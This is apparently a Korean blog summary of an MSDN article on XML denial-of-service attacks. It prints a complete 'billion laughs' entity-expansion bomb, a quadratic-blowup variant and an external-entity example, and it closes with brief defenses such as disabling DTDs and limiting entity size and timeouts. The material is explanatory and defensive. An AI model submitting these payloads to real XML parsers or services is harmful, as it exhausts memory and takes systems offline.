XML DOS 공격

2693 단어 xml
내용 은 이 글 에서 나 왔 습 니 다:http://msdn.microsoft.com/en-us/magazine/ee335713.aspx
DoS (Denial of service: 서비스 거부) 공격 은 유래 가 깊다 (1992). SQL 주입 (1998), 크로스 오 버 스 크 립 트 (1995), CSRF (1994) 보다 빠르다.
DoS 공격 은 매우 간단 하고 효과 적 입 니 다.최초의 DoS 공격 은 TCP SYN 홍 범 공격 을 사 용 했 고 현대 의 서버 소프트 하드웨어 는 대부분 이런 공격 을 막 았 다.http://baike.baidu.com/link?url=v24lBbsdB0TjV1y6qwL1cF9cOygTGg9AesHna4S7PwOcwa7F7k2_Js07jqwfEQNgkGLSFMm3xpoAKz1o2thnHq http://blog.csdn.net/jiangzhengdong/article/details/8119223XML 기반 DoS 공격 과 같은 새로운 DoS 공격 이 응용 층 으로 바 뀌 었 습 니 다.
XML 폭탄 XML document type definition (DTD) 은 enity 를 정의 할 수 있 으 며, DTD 는 외부 파일 이나 파일 내부 에 나타 날 수 있 습 니 다.DTD 를 이용 하여 XML 폭탄 을 만 들 수 있 습 니 다. 즉, 대량의 메모 리 를 신속하게 사용 할 수 있 는 파일 입 니 다. 예 를 들 어 XML 해상도 기 가 이 파일 을 분석 하려 고 할 때 DTD 의 정의 지수 급 이 전개 되 기 때문에 이 1K 미 만 의 파일 은 3G 의 메모 리 를 차지 합 니 다.
<?xml version="1.0"?>

<!DOCTYPE lolz [

<!ENTITY lol "lol">

<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">

<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">

<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">

<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">

<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">

<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

]>

<lolz>&lol9;</lolz>

또 하 나 는 확 장 률 이 그리 크 지 않 지만 효과 가 있다.200 K 는 2.5G 까지 확장 할 수 있 습 니 다.
<?xml version="1.0"?>

<!DOCTYPE kaboom [

<!ENTITY a "aaaaaaaaaaaaaaaaaa...">

]>

<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>

외부 실체 공격
DTD 도 외부 실체 링크 를 참조 할 수 있 습 니 다.
<!ENTITY stockprice SYSTEM "http://www.contoso.com/currentstockprice.ashx">

만약 이러한 실체 stockprice 를 만 나 영원히 돌아 오지 않 는 다 면 XML 해석 도 시간 을 초과 할 것 이다.하지만 더 좋 은 공격 은 무한 한 문자열 을 되 돌려 자원 을 소모 하 는 것 이다.
XML 폭탄 방어 DTD 금지
외부 실체 공격 방어 제한 개체 당 최대 길이 제한 시간 초과

좋은 웹페이지 즐겨찾기